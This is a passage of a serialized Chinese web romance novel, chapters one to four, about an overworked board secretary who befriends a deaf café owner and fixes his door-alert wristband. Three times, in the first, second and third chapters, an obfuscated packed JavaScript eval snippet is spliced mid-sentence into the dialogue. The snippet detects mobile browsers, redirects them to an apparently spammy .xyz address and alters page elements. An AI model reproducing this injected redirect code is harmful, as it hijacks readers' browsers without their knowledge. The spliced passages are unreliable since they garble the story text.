《小云朵乖乖》 1. 01 初见 “骆总,还没走啊?”助理轻声问道。 骆恒摘下眼镜,揉了揉鼻梁,略带疲惫地说:“我在等公告挂网,你先走吧。” 三月底是上市公司发业绩报告的时候,骆恒作为董事会秘书,最近这半个月几乎住在办公室里,忙得脚不沾地。 好在今天是最后一天,过了今晚,可以稍微松口气了。 骆恒让助理先回去休息,自己留在办公室等待印刷商做最后的校验。 十一点二十七分的时候,印刷商团队终于发来了定稿版的业绩公告。 骆恒重点检查了一遍先前错误的地方,又大致浏览了一遍英文版的重点内容,确定无误后,给印刷商回了邮件。 五十三分的时候,公告挂网。 骆恒没忍住强迫症,又从网站上预览了一次,之后才安心关上电脑。 临走前又在微信群里发了十个两百元的红包,看着群里的审计团队和律师团队欢天喜地地发“谢谢老板”,这才离开办公室。 开车回家的路上又给集团的几位高管打了电话。总经理对他说,之后出年报的时候还需要他多多把关;有位监事说,多亏了有他,说他就是集团对外形象的代表。 骆恒语带笑意地接受了他们的赞扬,脸上的表情倒没见有多高兴。 一年年的,工作真是看不到盼头。 三月要发业绩公告,五月要发年报,八月又要发半年报;年底要做审核,年初要做预算。每次都说着“忙完这阵就好了”,实际上是,忙完这阵,就要开始忙下一阵了。 等红灯的时候骆恒靠在驾驶座发呆。他拿着远高于常人的薪水,自然应该忍受比普通人更忙碌、压力更大的工作。 可这样的工作,真的是自己想要的吗? 他记不清上一次在十点前下班回家是什么时候了,也记不清有多久没有过过完整的周末。记得的只有24小时随时待命,和永远保持震动加响铃模式的手机…… 半夜十二点的马路空无一人,没有人去催促这辆绿灯亮了也久久没有起步的车子。直到下一次的绿灯只剩下最后两秒,骆恒才回过神来,踩了油门。 夜深了,除了几个烧烤摊还在营业,路边的小饭馆几乎都关了门,一眼望去黑漆漆的。 拐弯时骆恒瞥见反方向的道路上有一家店还在营业,他心思一转,掉转了方向盘。 是一家叫“火烧云”的咖啡店。 店面不大,门口的招牌上画着一朵很可爱的云。 没有人会在深夜来喝咖啡,店内空无一人,只有一个高挑纤细的男人背对着大门,正在画画。 骆恒突然来了兴趣。 他推开咖啡店的大门,悬在门口的风铃叮叮作响,声音清脆。 “老板,来杯冰美式。”骆恒说着,在最靠门口的吧台坐下。 他等了许久,既没有听到咖啡机的响声,也没有任何一个人来招待他。那位老板仍然在专心画着他的画,丝毫没有招待客人的意思。 骆恒走到吧台前,屈起食指敲了敲收银机器,提高声音说:“一杯冰美式。” 老板依然没有回答。 “……”骆恒心里涌上一股无名火。他皱起眉毛,双手撑在吧台上,连轴转了几个月积攒下来的烦闷在这个深夜被这个不肯理他也不肯做生意的老板彻底点燃。 他提高声音,又说:“你——” 刚吐出一个字,身后的里间跑出来一个小姑娘,急急地说:“先生!老板他听不到的!” 说着她跑到骆恒身边,给他指了指贴在吧台上的小纸条。 【老板失聪,不会说话,点单请按这个按钮,给您带来的不便敬请谅解。】 手写字体娟秀,旁边还画了一个可爱的小哭脸,小人耳朵画得小小的,仔细看才能看到耳边打了一个小小的叉。 下方还有一行小字:【但我家的咖啡很好喝~】 骆恒看着这简单的几句话,心里的火苗咻的熄灭了。 明明是自己没看到,怎么反倒冲人家发火。 他吸了一口气,对女孩道了谢,说:“不好意思,我没看到,刚刚是不是吓到你了?” 女孩摆摆手,背上书包——骆恒这才注意到,这女孩还穿着附近某所高中的校服,看来是快要高考的高三学生。 她说:“没有没有,我在里间学习,听到外面有声音就过来看看。你快点咖啡吧,我要回家啦!” 她扣好外套的扣子朝门口走去,又冲骆恒挥挥手,“再见哥哥!” 女孩离开后,骆恒才低下头,仔细看了一遍店里的菜单。 咖啡种类很多,甚至可以自己挑选不同产地的咖啡豆,也可以选择烘焙程度。背面的注释里仔细备注了每种豆子的口感,对酸度和苦度都做了区分。 没来由的,骆恒就相信了老板说的那句“我家的咖啡很好喝”。 那位双耳失聪的老板背对着他,对刚刚发生的事情无知无觉,依然在专心画着自己的画。骆恒伸头看了一眼—— 老板画了一朵云,身后像是着了火。火海连成一片,和正中间洁白的云对比鲜明。 他安静欣赏了好一会儿,这才按了吧台的按钮。 原本平静无声的咖啡店传来了一阵极小声的嗡鸣,那位老板吓了一跳,回过头来—— 大概是没想到这么晚还会有客人光临,他的眼神有点迷茫,眨了眨眼睛,才对骆恒笑了。 “我要一杯冰美式。” 骆恒说完又反应过来老板听不到,一时之间脑子又有点短路,完全没想到怎么处理。 召开股东大会时伶牙俐齿、工作上什么难题都能解决的骆总,此刻竟然难得地发了懵。 老板低头笑了笑,伸手在点单的机器上按了几下,屏幕上叮的跳出菜单:中杯冰美式,15元。 他又指了指机器下面的扫码窗口,冲骆恒温和地笑了笑。 机器旁边啪地弹出一个小牌子。 【我能看懂唇语。】 骆恒惊讶地看着云川,挺真诚地说:“你好厉害。” 说着,他把支付界面贴上机器—— 滴! 机器报错了。 骆恒拧眉抽回手机,刷新了支付界面,又一次尝试支付。 滴! 又报错了。 老板探过身子,伸长脖子去看骆恒的手机。 对于第一次见面的人来说,这实在不是一个舒适范围内的距离。但,或许是老板身上微苦的咖啡豆香味很会让人放松警惕,总之,骆恒只抬头看了对方一眼,就很自然地把手机调转过去给他看。 “哦,我知道了。”骆恒自言自语道,“好像是今天的支付额度超了。” 他这才想到自己刚过凌晨的时候发了两千块的红包。 很快他又想到,对面的老板是听不到他说话的。于是他放慢语速,试图再次把刚刚的话重复一遍—— 老板已经在这短短的几秒钟之内打好了一串文字,就记在他的微信上。 【你家离这里近吗?方便的话,明天再来付钱好了。】 骆恒犹豫一瞬,说:“我加你微信吧,明天把钱转给你。” 他调出自己的二维码,随即又说:“出门前发了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189168|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两千块红包,没想到……实在不好意思,我真不是故意的。” 几秒钟后,微信的聊天对话框出现了添加好友的提示。 【您已和“一片云云云”成为好友。】 【一片云云云:我叫云川】 云川。 骆恒默念了一遍这两个字。 “我叫骆恒,永恒的恒。”他自我介绍道,“你的姓很少见啊。” 云川又笑了。 数不清这是今晚他第几次露出微笑,骆恒只知道这人每一次的笑容都那么真诚不敷衍,像是每次都从心里开心着。 做好备注后,云川歪了歪头——他看向对面的里间,忽然想到了什么。 他推开吧台的小门,两步走到里间,拉开门后—— 门内自然空无一人。 云川的背影肉眼可见地僵硬起来。 骆恒猜测他是在寻找刚才那个小女孩,出声提醒道:“她刚刚已经回家了——” 话音刚落,又反应过来云川听不到。 他连忙回头,又拍了拍吧台那个小小的、红色的按钮。 这一次才发现,原来云川左手带着一个黑色的手环,按下按钮的时候手环会剧烈的振动。 云川回头看他,脸上是无法掩饰的慌张。 骆恒赶紧走上前去,说:“你是在找刚才房间里那个女孩吗?她已经回去了,就在我刚来的时候。” 云川紧绷着的嘴角逐渐放松下来,肩膀也不再那么紧张。他伸手,比划了几个手势。 之后又好笑地拍拍自己的头,在手机上快速打了几个字。 【那是我邻居家的小孩,晚上会来我这里学习。】 【今年高三了,嫌家长烦。】 【刚刚的手语也是这个意思,一下子太着急了,忘了你看不懂。】 云川打字的速度很快,细长的手指在屏幕上啪啪两下就打出了一连串的文字。 骆恒想,他一定是经常这样打字,才会练出这样的速度。 “你这里比较安静,倒是适合高三学生学习和放松。”骆恒笑着说。 云川又突然恍然大悟。 他小跑两步回到吧台,取出骆恒先前点好的冰美式递到他手上。 之后递过来的是手机上的文字。 【大晚上喝美式会失眠吧,自作主张帮你做了低因的。】 【虽然时间很晚了,还是祝你今晚有个好梦。】 骆恒接过纸杯,迅速扫了一眼那几句话,也笑了。 “谢谢你。本来今晚情绪很糟糕,但是现在——”他举起手中的咖啡,“被你的咖啡治愈了。” 云川笑眯眯地点了点头。 “那我走了,”骆恒系好大衣的扣子,说,“有机会还会来的。” 云川:【路上小心,我画完画也要打烊啦。】 骆恒含笑点点头。 推开大门时,风铃又发出好听的响声。骆恒抬头看看那串风铃,扭头对云川说了一句再见。 他还是不太习惯怎么和聋哑人交流,但,即便已经知道云川听不到,他还是说完了这句话。 “再见咯,云川……老板。” 离开火烧云时,骆恒又回头看了一眼大门上的招牌。 仔细看才发现,原来牌子上的灯坏了,“火烧云”的“云”字,右下角少了一个点。 骆恒想,云川大概是想趁着这个机会,重新布置一下门口。 他想到自己瞥见的画,心想,这一次还是画了一朵云。 他笑着摇摇头,两口喝掉了杯中的美式,径直走向自己的车子。 2. 02 身世 回到家已经是深夜了。 云川把拇指贴在指纹锁的识别区域,大门打开的同时,手环也发出了明显的振动。 他听不到房门打开的声音,无法知晓别人进出。安全起见,指纹锁也关联了手环,只要大门打开,手环就会振动。 云川锁好门又脱了外套,正准备摸黑回房间时,客厅灯亮了。 云芸带着满脸睡意从卧室走出,用手比划了几个手势。 【回来了啊。】 云川脸上带着抱歉也带着责备,说:【妈,都跟你说了我今天晚回来,睡觉就不要带手环了,会吵醒你啊。】 云芸笑着摇摇头,【习惯了,不戴反而睡不着。而且,看你回来了我才放心啊。】 云川无奈,【我已经22岁了,又不是小孩子。】 云芸没再说些别的,胡乱比划了几下糊弄他,之后就回去睡了。 都说儿子长得像母亲。 这对母子的确长得像,一样线条流畅的鹅蛋脸,一样明亮的杏眼,一样温婉的气质…… 还有,一样天生失聪的双耳。 * 简单洗漱过后,云川回到自己的卧室发呆。 已经快两点了,可他依然一点睡意都没有。 翻来覆去都睡不着,云川索性坐起来,从床头的抽屉里摸出一张照片。 照片上是他们一家三口,那时候的云川还是个个头小小的初中生。 他站在父母中间,一家三口逆光而站,画面温馨又美好。 那时候数码摄影不发达,这张照片没有电子版,只有这一张留存。 这也是他们一家人唯一的一张合照。 六年前父亲秦铮失踪后,他们也永远地失去了再合照的机会。 * ……六年前,秦铮说朋友给他介绍了一个工作机会,他想去看看,之后便没了踪影。 关于那段时间发生的事情,云川一直不愿回想,只模模糊糊记得那时候总有人来家里,但他无法分辨那些是来看热闹的“朋友”,还是前来询问的警察。 甚至,云芸到底有没有报警、案子结果如何,这些云川都不清楚。 过了一段时间后,开始有了些风言风语。又或者是时间长了,大家终于敢说出原因了。 外出工作,实在是很万能也很敷衍的理由。秦铮可能只是单纯地想离开了,离开这个家,离开他们母子俩。 朋友多少对秦铮有了些责备,却又不能狠下心真的痛骂他——他不负责任,但谁都能理解。 一家三口,两个都是哑巴。 先不说负担两个聋哑人的生活有多么艰难,只说这种经年累月只能靠着手语和打字交流的生活,就足够磨人了。 秦铮受不了了,想要离开,实在是再正常不过的事情了。 之后她一个人带着云川生活,像是完全没有受到这件事影响,还是和以前一样逢人就笑。 只有云川知道,云芸一点都不快乐。她再怎么伪装,心里也还是痛苦。 说过会一辈子照顾他们母子、说过永远不会把他们当做负担的男人,最终还是一走了之了。 之后也有人给云芸介绍过对象,说是不想看她这么辛苦。云芸说,【不辛苦呀,我们家云川会赚钱养我】,就这么搪塞过去了。 也许是忘不了秦铮,更多的,还是不想再拖累其他人了吧…… 秦铮忍了这么多年,最后还是跑了,换成其他人,恐怕一天都受不了吧。 家里永远只有一个人在说话,问出的话永远不会有人回应,想交流一定要先按手环…… 枯燥的、乏味的、无趣的、痛苦的生活。 迷迷糊糊进入梦乡时云川在想,父亲现在到底在哪里呢,离开他们母子之后,他有没有过上更好的生活呢。 * 第二天是个周五,隔壁邻居家那个女孩要去上学。 这家邻居情况也有些特殊,父母工作都在外地,只留下女儿和姥姥姥爷一起生活。 姥姥姥爷没怎么念过书,在学业上帮不了太大忙,又对高考过分紧张,反而给孩子造成了更大的压力。 两家人住得近,平时接触多,后来云川就帮着照顾这孩子。 女孩小名叫小花,念的高中就在咖啡馆附近。每天早上云川去咖啡馆,顺便送她去上学,晚上下课后,小花会过来咖啡馆这边继续温习功课。 云川不会说话,安静的咖啡馆倒成了复习时最好的去处。 “啊!云川哥!”刚一见面小花就一惊一乍的,“昨晚回家时我忘了跟你打招呼了!” 她双手合十,可怜兮兮地道歉:“当时店里来了客人,我忙着招呼他,就忘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189169|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 云川佯作生气,【我找了你半天,差点报警。】 “对不起嘛。”小花苦着脸跟他撒娇,“下次一定不会了!” 【你还想有下次?绝对不可以再这样,听到没有?】云川敲敲她的脑门。 * 骆恒今早十点才去公司。 出门时特意绕了远,拐到了火烧云那条路上。 巧得很,那位不会说话的老板拎着满手的咖啡,正帮着美团小哥装车。 粗略一数,至少有10杯。 请办公室的下属喝咖啡这种事骆恒也常干,不过之前完全没想过,收到一单10杯咖啡的外卖对于一家人手不太充足的咖啡店来说,也许是一件有点辛苦的事。 骆恒想了想,打消了想去买杯美式的念头,直接开去了公司。 业绩公告已经出了,难得有了些偷懒的时刻。下午五点半,骆恒久违地按时下了班。 离开公司前他给昨天的咖啡店老板发了条消息。 【-骆恒:老板现在生意忙吗?我想预订一杯美式,大概20分钟之后过去拿。顺便把昨天的咖啡钱给你。昨天可能是太晚了,脑筋都不好使了,明明可以用支付宝付款的。】 老板很快回了一个OK的表情包。 骆恒删删减减,写道:【早晨路过,看你生意很忙,就没……】 只是字还没打完,云川的下一条消息就发过来了,【没关系啦,就当是趁这个机会交个朋友吧^ ^】 骆恒把没打完的字全部删掉,写:【这样一来显得我像是在骗你微信号】 想了想,又删掉了。 怎么搞的,骆恒心想,这话看起来也太轻浮了。 只是脑袋里又忍不住回想起了那位老板的样貌,还有他灵巧的手指。 他打字的样子很好看。右手的小指会轻轻托着手机底部,两只手的拇指在屏幕上飞快地点按着,几秒钟就能打出一段话。 至于另外几根手指,则交叉着放在手机背面。 白皙,也纤细,养眼得很。 说起来,那位老板会画画,会泡咖啡,都是需要用到手的工作呢。 骆恒的思绪跑远了,直到手机屏幕灭了又自动锁了屏才反应过来。 他赶紧按亮手机,回道:【谢谢,我下班了,现在过去拿。】 3. 03 第二次见面 周五的晚上总是很堵,20分钟的路程,骆恒足足开了三十七分钟。 门口坏掉的招牌已经撤了下来,老板在门前竖了一块小黑板,用卡通字体写着店铺的名字,还画了一个一脸陶醉喝咖啡的二头身小人。 可可爱爱的。 骆恒笑了笑,推门走进咖啡馆。 和凌晨一样,风铃晃动着发出悦耳的声音。 店里有零星几个人,看起来像是附近哪家公司的HR在面试。至于那位老板,正背对着大门,从高处取下一桶全新的奶油。 他没看到骆恒,也不知道店里来了新客人。 骆恒忽然有了些坏心眼。 他快步走到店内最隐蔽的角落坐下,手撑着下巴,打算等等看这位老板什么时候才会发现自己。 老板果然如他所想,做好了几杯咖啡之后便原地坐在椅子上休息发呆,完全没有注意到他。 骆恒看了好笑。 笑过之后,心里又不免为这位老板担心起来。 他听不到声音,也不可能时时盯着门口注意客人来往,如果有坏人摸准了他的习惯,趁他不注意偷偷潜进店里做坏事,实在是防不胜防。 这时,有一桌客人离开了。 他们大概和老板很熟了,临走时还热情地打了招呼。大门推开时,风铃又发出了叮铃铃的声响。 其中的女孩子已经走出火烧云几步,又突然折返回来,冲老板说:“老板,忘了拿贴纸!今天能不能多给我两张?电脑上也想贴。” 老板笑得很开心,低头从抽屉里取出一沓贴纸递给她。 一来一去,风铃又响了。 骆恒若有所思地看着晃个不停的风铃,起身走向吧台。 云川还在撑着下巴看向刚刚离去的客人,心里开心着他们喜欢自己画的贴纸。余光瞥到有人走过来,还真吓了一跳。 仔细一看来人是骆恒,云川更惊讶了。 他慌忙掏出手机,按了几个字:【你什么时候来的?】 见云川是真的没发现自己,骆恒浅浅地皱了皱眉,刚才想逗逗云川的恶趣味烟消云散。 他颇严肃地说:“我有个想法——你别嫌我多事。” 他指了指门口的风铃,又指了指吧台的红色按钮,说:“既然这个按钮能关联到你的手环,我想风铃应该也可以,不如稍微更改一下,如果风铃振动的时候你的手环也会振动,那会方便很多。” 他想了想,又补充道:“也会安全很多。不过冬天风大,也可能吹动风铃,不如在门口装个红外线之类的装置监测人流,有人进来的话会振动。” 他自顾自说了一大堆,说完又有点尴尬,“我也不是想多管闲事,实在是觉得你这样不太安全——刚才我进来的时候,你正背对着大门拿东西,没看到。客人多的时候还好说,万一店里只有你一个人,有坏人想图谋不轨,实在太危险了点。” 云川连连摆手,【没有,我不会觉得你在多管闲事。】 他腼腆地笑笑,一边把骆恒之前订好的冰美式递给他一边打字,【谢谢你的关心呀。之前大门也是关联了手环的,后来——就是去年夏天,不知道你记不记得,去年夏天下了一场大雨,店门口淹了,不知怎么弄坏了线路,之后就关联不上了。】 他挠挠头,有点不好意思,【一直说找电工修修看,但找了好几个师傅,都说需要看看当初设计时的图纸,我找了好久都没找到,就一直拖着没修。】 听到这里,骆恒笑了:“找电工师傅啊……” 他干脆在吧台前的转椅坐下,双臂靠着吧台,脸上表情很得意,“那你不如求求我,我帮你想想办法。” 也不知道为什么,看见这个年轻的小老板,骆恒心里总会涌上些坏念头。 云川先是茫然地张了张嘴,很快,他不只想到了什么,圆溜溜的杏眼眨了眨。 【你的意思是,你会修电路吗?】云川问,【天茂集团的骆总会做这么多事情呀?】 他把手机立在骆恒面前,等他看完这两句话后收回去点了点,再摆到骆恒面前时,屏幕上显示的是骆恒先前发在朋友圈里的新闻内容。 是今年早些时候公司组织献血的新闻,当时骆恒代表集团做了一番走形式的讲话,上了新闻。 屏幕定格在骆恒大谈特谈业绩进步的照片上。 骆恒直呼救命,伸手就去抢云川的手机。 云川眼疾手快躲开,又按了几个字给他看:“骆总好棒哦,年少有为稳坐高管的位置,不管何时何地随时就能脱稿演讲,真是万万想不到,居然还懂一些修电路的知识!” 说到兴起,甚至掏出纸笔画了个捧着脸的星星眼小人,旁边用卡通字体写着两个大字:崇拜! 骆恒被他调侃得生无可恋,“到底要不要帮忙?” 云川小鸡啄米一样点头,【要帮忙的,谢谢您!给你免一个月的单怎么样?】 * 天茂集团董秘的执行力可不是一般的。第二天是个周六,下午三点时,骆恒拎着一个小工具箱来了。 云川躲在后面,脖子伸得老长,看他摆弄着手环和大门里的线路。 该说不说,前两次见面时这人一身西装革履,看着真的斯文又优雅;今天换了身休闲装帮他修手环,竟也真的像那么回事。 骆恒是真的厉害,先前几个电工磨蹭了许久都没弄好的东西,骆恒鼓捣了不到两个小时,居然修好了。 “可以先凑合用,”他拍拍手上的灰尘,说,“功能基本不影响,不过之前你说水淹了大门把线路弄坏了,保险起见以后还是注意点,可以稍微做个防水。” 他收好东西,冲云川笑笑,又说:“我认识靠谱的防水师傅,如果你需要……” 说着说着,他笑出声了,“工作后遗症,恨不得各行各业的人都认识那么一两个。” 云川也跟着笑了。 他重新戴上手环,推开大门感受了一下振动的强度,之后回过头来向骆恒真诚道谢:【真是太谢谢你了。】 骆恒摆摆手,“举手之劳,不用放在心上。” 咖啡店所在的区域临近写字楼,周末的时候生意反而会冷清些。云川干脆闭了店,烤了点面包和点心招待骆恒。 他问:【你还会修电路啊?说实话,真看不出来。】 说到这个,骆恒挠了挠头,干笑着说:“这个啊,说起来有点丢人——这是我逃避工作的方法。” 云川微微睁大双眼。 骆恒轻声叹了一口气,苦笑着说:“平时工作忙,压力也大。有些工作,怎么说,你知道非做不可,也知道着急要用,但就是,没法踏实下来专心做,看一眼就觉得烦得不行。” 云川没有做过这些工作。他没有进过公司,也没有和同事共事过,就连这家咖啡店,也只有他自己一个人。他从没听别人说过这些。 他好奇又带着点渴望的神情逗笑了骆恒,骆恒继续说:“所以这种时候,如果有同事需要帮忙,或者是哪里东西坏了要处理,我就……我就去帮忙,顺便逃避一下工作。” 骆恒说着,捂了一把脸,“前两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16189170|181047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年天茂搬家,新搬去的办公楼卫生间的抽纸机老是坏,我有时不想工作,就会去研究怎么把它修好。” 他倚在沙发靠背上,整个人都快陷进去,不想承认却又无可奈何,自嘲道:“对,没有错,天茂集团的董秘,宁肯在卫生间修自动抽纸机,也不愿意回办公室工作。” 云川笑得趴到桌上,再抬起头时,脸都笑红了。 骆恒看着他笑,自己的心情竟然也变好了。他撑着下巴看云川笑得形象全无,心里忽然有些遗憾。 如果云川能说话,他的声音应该也很好听吧。 他想,从这几天的情况来看,云川应该不是“不能”说话,而是“不会”——因为双耳失聪,没有听力,小的时候又没有及时干预,导致失去了模仿学习语言和说话的机会。 太可惜了,明明其他方面也是很优秀的。骆恒转念一想,云川甚至还能看懂唇语,一定是很聪明又肯用功的人。 大概是职业病又犯了,骆恒在脑子里回想着以前接触过的健康行业的客户和朋友,在心里盘算着,如果有机会的话,可以帮云川问问人工耳蜗是不是可行。 * 云川终于笑够了。 他揉揉脸,起身又去冲了一杯咖啡递给骆恒,写道:【打算过两天上的新品,帮我尝尝味道怎么样啊。】 骆恒接过,说了句谢谢。 毕业进入天茂工作以来,骆恒几乎一天两杯美式。对咖啡很挑,却也什么都能喝得下去。 云川这次调制的新品叫冰橙美式,口感微酸,咽下去后舌根里会泛起一点清凉的薄荷味道。是很清爽的口感,也很适合即将到来的春夏季节。 骆恒冲他点点头,说“很好喝”。 云川比了个OK的手势,写道:【那四月中旬的时候我就准备上这款啦!】 时间不早了,修过手环和大门的连接后,两人吃吃喝喝,不知不觉竟然已经快六点。 骆恒看了看表,说:“晚上有安排吗?我请你吃饭啊。” 云川笑着摇摇头,【下次吧,今天跟我妈说好了回家吃饭。】 骆恒也不强求,“也行,那下次约。” 正准备起身离开时,云川的手环突然响了。 骆恒看了一眼他的手腕,又下意识看向咖啡馆的门口—— 来人是位身材娇小的中年女性。她对着云川笑了笑,用手比划了几个动作。 云川同样用手势回应她。 那几个动作纷繁复杂,看得骆恒眼花缭乱。他的视线随着云川圆润的甲床来回乱跑,最后定格在那人白净的食指指腹上。 云川上前两步,拉过女人的手臂,给骆恒介绍,【我妈妈。】 之后又转过去看着母亲,说:【骆恒,新认识的朋友。】 怕骆恒尴尬,这几个字还是用手机打的。 女人有些惊讶,欢喜地接过手机,也打了几个字,【麻烦你照顾我们家孩子了呀!】 速度是和云川如出一辙的快。 骆恒摆摆手,说“没有”。 云川又写道:【下午骆恒帮我修好了手环,现在店里来客人,我能立刻知道了。】 女人又是一连串的道谢。 骆恒被夸得晕乎乎。 离开咖啡店后他忽然想起,应该找云川要些报酬。 可是要什么呢? 就要他画的贴纸好了。 骆恒打定主意,下次再过来时,要找云川要一张他亲自画的卡通贴纸。 要有可爱的手写字体,要有二头身小人。 4. 04 人工耳蜗 【是新认识的朋友啊?】 云芸似乎对刚刚在咖啡店里见到的男人很感兴趣,回家路上问个不停。 云川抓抓脸,有点不好意思地点了点头。 交朋友,这种在普通人身上再正常不过的事情,对云川来说竟然是种新奇的体验。 他读的是特殊学校,曾经也和一些同样的男孩女孩有过接触,但时间长了,也都慢慢淡了。 正常的、健全的朋友也曾经认识过,但…… 每个人都有自己的生活,爱人都会走散,何况是普通朋友? 最近这几年里,他最熟悉的就是隔壁那一家人。只是小花年纪太小,姥姥姥爷年纪又太大,总归少了些共同语言。 难得认识一个同龄人,云川心里也很开心。 不过,骆恒应该比他大一些…… 云川在路上慢慢走着,脑袋里想着乱七八糟的事情。 母子俩走在回家的路上,偶尔交流几句今天发生的事情。同样的黑色手环一只戴在左手,一只戴在右手,走路的时候时不时碰到。 三月末了,天黑得没那么早了,最后一点夕阳暖融融照在两人身上,鹅黄色的亮光把云川的眉眼映得更加温柔。 他拉住云芸的衣袖快走两步。 【快点快点,回家烫火锅啦!】 * 云川最忙碌的时候是工作日的中午,附近写字楼的白领喜欢在中午来一杯咖啡。 客人们很熟悉这家店了,云川又长得实在讨喜,每天中午都有很多人愿意来照顾他的生意。 这一天,来了个大单子。 附近新搬进一家IT公司,老板很大方地请办公室的员工喝咖啡,于是跟云川约定好,下午三点的时候准备将30杯咖啡送到附近某个写字楼。 云川想了想,这天下午干脆歇业,专心做这30杯咖啡,从中午一直忙活到两点半,终于做完了这一单。 把最后一杯交到外卖小哥手上时,云川擦了擦额头,温和地冲小哥笑了笑,之后回到店里收拾东西。 一口气做30杯咖啡对只有一个人的咖啡店来说实在是个大生意,云川挖光了好几个调料盒,正在慢慢处理垃圾。还有几个配料有剩,大概能做一两杯的样子, 云川给自己冲了一杯焦糖玛奇朵,又用最后一点剩余的咖啡粉煮了一杯美式。 咖啡的浓郁香气刺激着云川的味蕾,只是,他一个人无论如何是喝不掉两杯咖啡的。 他用勺子搅拌着自己面前这一杯,把做好的心形拉花搅得乱七八糟。另一只手则托着下巴,思考着如何处理另外这一杯美式。 有了,去送给骆恒吧! 昨天他帮自己修好了手环,都没有好好感谢过他。云川慢半拍地反应过来,甚至因为着急回家烫火锅,都没有客气一下留他吃个饭,实在是不礼貌。 于是,半小时后,云川拎着这杯美式,站在天茂集团大楼下面。 太阳有点刺眼,他用右手遮住前额,抬头看着这栋高楼。 * 11楼的会议室里,骆恒正在开会。每周一下午集团高管例会,骆恒自然要参加。 走进会议室后挨个和大家打了招呼,然后,骆恒的视线定格在了市场部的赵总身上。 他走到赵总身旁坐下,低声说:“赵哥,有个私事想请你帮忙,一会儿开完会之后有时间吗?去你办公室聊一下。” 两小时后会议结束,骆恒跟在赵总身后,去了市场部的办公室。 他开门见山,说:“赵哥,打听个事。之前集团下面有个子公司做康养,有没有接触过助听器或人工耳蜗的行业?” 赵哥点点桌子,说:“还真有,你真找对人了,上个月我们才谈过新业务。” 他拣着重点内容给骆恒说了一番,问道:“骆总,您……家里有聋哑人?” 问得小心翼翼的。 “哦,不是,没有。”骆恒摆摆手,“帮一个朋友问。” “哦哦,这样啊。”赵总欲言又止,“我以为是骆总您的家人需要……说实话,骆总,如果是朋友,我建议您先问一下他的家境。人工耳蜗这个东西,说夸张点,是个无底洞,普通家庭不一定负担得起。” 这也是骆恒担心的问题。不过他没再多说,只点点头,说了一句“我知道了”,便道谢离开。 * 做人要有边界感,这是骆恒为人处世一直坚定遵守的处事信条。什么样的关系能做什么样的事,他心里有一杆秤随时衡量。 和云川的关系远没有到可以直白地询问“你家条件怎么样,能不能负担起人工耳蜗植入和后续保养的费用”的程度,却也没有生疏到甩给对方一个名片、让他自己去询问的程度。 说起来,这种左右为难的纠结心情,在认识云川的这短短几天时间里反复出现。骆恒笑着摇了摇头,觉得自己最近可能真的是工作压力太大了。 回到办公室时,正好听到座机在响。骆恒叹了口气,快走两步过去接了电话。 是楼下前台的内勤电话,问他是不是订了咖啡。 骆恒:“没有,看错人了吧,你看看单子上写的谁的名字。” 前台为难地说:“没有单子,就是,就是一个人。” “?什么一个人?” “一个,呃……”前台吞吞吐吐,“帅哥,你刚才说你叫什么,云什么?” “什么?”骆恒声音陡然拔高,“你说谁?” 楼下,云川飞快地用手机打着字。 【云川】 【没有点咖啡,是我想请他喝】 最后还开了句玩笑:【好难啊,见骆总居然还要预约】 前台被这句玩笑话逗笑了,在电话里对骆恒说:“有个叫云川的年轻人,刚才过来找您,我看他提了一杯咖啡,就以为是外卖。” 挂断电话后她给云川刷了门禁卡,告诉他骆总办公室在11楼东边第二间,出电梯后左拐走到头,穿过走廊就能看到。 云川满头问号地上了电梯。 他方向感不太好,分不清东南西北,什么左拐右拐,什么穿过走廊,他根本记不住。 电梯停下后他探头探脑地到处乱看,可这些办公室像一个个不透明的小格子一样码在两边,根本分不清哪间才是骆恒的。 他在心里感慨,资本家就是不一样,连办公室都这么气派…… 云川呆头呆脑地这里转转,那里转转,穿过一个长长的连廊后,才看到骆恒抱胸站在门口,正笑着看他。 云川再一回头—— 原来自己刚刚穿过的那条通道和周围都是连通的,他刚才那副呆头呆脑的愚蠢模样,全被骆恒看到了。 云川无语,【……你好恶劣,为什么不叫住我?】 骆恒说:“看你到处转圈圈挺有意思的,我想看你什么时候才能找到。” 云川朝他做了个鬼脸,把咖啡往他手里一塞。 【算了,你昨天帮我修好手环,我不跟你一般见识。请你喝咖啡呀!昨天着急回家,也没顾得上给你谢礼。】 骆恒接过,道了谢:“小事而已,不值得你跑这一趟。说起来——可以叫外卖小哥送啊。” 云川笑眯眯摆摆手,【那怎么行,亲自来送显得比较有诚意啊!】 之后才说了实话:【其实是中午接了一个大单子,今天的钱赚够啦,下午不想开店了,就干脆偷懒。】 